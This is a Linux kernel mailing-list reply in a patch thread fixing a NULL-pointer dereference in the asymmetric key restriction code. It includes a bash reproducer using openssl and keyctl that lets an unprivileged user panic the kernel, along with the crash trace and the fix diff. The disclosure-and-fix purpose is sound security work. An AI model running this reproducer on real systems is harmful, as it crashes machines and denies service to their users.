Re: [PATCH] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference

[Weiming Shi <bestswngs@gmail.com>]

On 26-05-01 06:37, Ignat Korchagin wrote:
> Hi,
> 
> Thanks for the report.
> 
> On Wed, Apr 29, 2026 at 7:17 PM Weiming Shi <bestswngs@gmail.com> wrote:
> >
> > asymmetric_key_ids() returns key->payload.data[asym_key_ids], which can
> > be NULL for keys parsed by the PKCS#8 parser (pkcs8_parser.c explicitly
> > stores NULL in prep->payload.data[asym_key_ids]).
> >
> > key_or_keyring_common() in restrict.c and find_asymmetric_key() in
> > asymmetric_type.c both dereference this return value without checking
> > for NULL. An unprivileged user can trigger a NULL pointer dereference
> > in key_or_keyring_common() by creating a PKCS#8 key, restricting a
> > keyring with key_or_keyring:<pkcs8_serial>, and adding an X.509 cert
> > to the restricted keyring. CONFIG_PKCS8_PRIVATE_KEY_PARSER=y is
> 
> Could you add a simple bash script for this to the commit message?
> 

Hi Ignat,

Sure, here is a bash reproducer:

```
#!/bin/bash
modprobe pkcs8_key_parser 2>/dev/null
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:1024 \
    -out /tmp/poc.pem 2>/dev/null
openssl pkcs8 -topk8 -nocrypt -in /tmp/poc.pem \
    -outform DER -out /tmp/poc.p8
openssl req -new -x509 -key /tmp/poc.pem -outform DER \
    -out /tmp/poc.der -days 365 -subj "/CN=Test" \
    -addext "subjectKeyIdentifier=hash" \
    -addext "authorityKeyIdentifier=keyid:always" 2>/dev/null
PKCS8_ID=$(keyctl padd asymmetric pkcs8key @s < /tmp/poc.p8)
KR=$(keyctl newring test_kr @s)
keyctl restrict_keyring $KR asymmetric "key_or_keyring:$PKCS8_ID"
keyctl padd asymmetric trigger $KR < /tmp/poc.der
rm -f /tmp/poc.pem /tmp/poc.p8 /tmp/poc.der
```
If you'd prefer it in the commit message I can send a v2.

Thanks,
Weiming Shi


> > required.
> >
> >  Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000
> >  KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
> >  RIP: 0010:key_or_keyring_common (crypto/asymmetric_keys/restrict.c:205 crypto/asymmetric_keys/restrict.c:279)
> >  Call Trace:
> >   <TASK>
> >   __key_create_or_update (security/keys/key.c:884)
> >   key_create_or_update (security/keys/key.c:1021)
> >   __do_sys_add_key (security/keys/keyctl.c:134)
> >   do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)
> >   entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
> >   </TASK>
> >  Kernel panic - not syncing: Fatal exception
> >
> > Add a NULL check in find_asymmetric_key(), mirroring the existing
> > pattern in asymmetric_match_key_ids() and asymmetric_key_describe().
> > In key_or_keyring_common(), skip the trusted key matching when it
> > has no key IDs and fall through to the check_dest path.
> >
> > Fixes: 7d30198ee24f ("keys: X.509 public key issuer lookup without AKID")
> > Reported-by: Xiang Mei <xmei5@asu.edu>
> > Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> > ---
> >  crypto/asymmetric_keys/asymmetric_type.c | 2 ++
> >  crypto/asymmetric_keys/restrict.c        | 9 ++++++---
> >  2 files changed, 8 insertions(+), 3 deletions(-)
> >
> > diff --git a/crypto/asymmetric_keys/asymmetric_type.c b/crypto/asymmetric_keys/asymmetric_type.c
> > --- a/crypto/asymmetric_keys/asymmetric_type.c
> > +++ b/crypto/asymmetric_keys/asymmetric_type.c
> > @@ -109,6 +109,8 @@ struct key *find_asymmetric_key(struct key *keyring,
> >         if (id_0 && id_1) {
> >                 const struct asymmetric_key_ids *kids = asymmetric_key_ids(key);
> >
> > +               if (!kids)
> > +                       goto reject;
> >                 if (!kids->id[1]) {
> >                         pr_debug("First ID matches, but second is missing\n");
> >                         goto reject;
> > diff --git a/crypto/asymmetric_keys/restrict.c b/crypto/asymmetric_keys/restrict.c
> > --- a/crypto/asymmetric_keys/restrict.c
> > +++ b/crypto/asymmetric_keys/restrict.c
> > @@ -243,10 +243,14 @@ static int key_or_keyring_common(struct key *dest_keyring,
> >                         if (IS_ERR(key))
> >                                 key = NULL;
> >                 } else if (trusted->type == &key_type_asymmetric) {
> > +                       const struct asymmetric_key_ids *kids;
> >                         const struct asymmetric_key_id **signer_ids;
> >
> > -                       signer_ids = (const struct asymmetric_key_id **)
> > -                               asymmetric_key_ids(trusted)->id;
> > +                       kids = asymmetric_key_ids(trusted);
> > +                       if (!kids)
> > +                               goto skip_trusted;
> > +
> > +                       signer_ids = (const struct asymmetric_key_id **)kids->id;
> >
> >                         /*
> >                          * The auth_ids come from the candidate key (the
> > @@ -290,6 +294,7 @@ static int key_or_keyring_common(struct key *dest_keyring,
> >                 }
> >         }
> >
> > +skip_trusted:
> >         if (check_dest && !key) {
> >                 /* See if the destination has a key that signed this one. */
> >                 key = find_asymmetric_key(dest_keyring, sig->auth_ids[0],
> > --
> > 2.39.0
> >
> 
> Ignat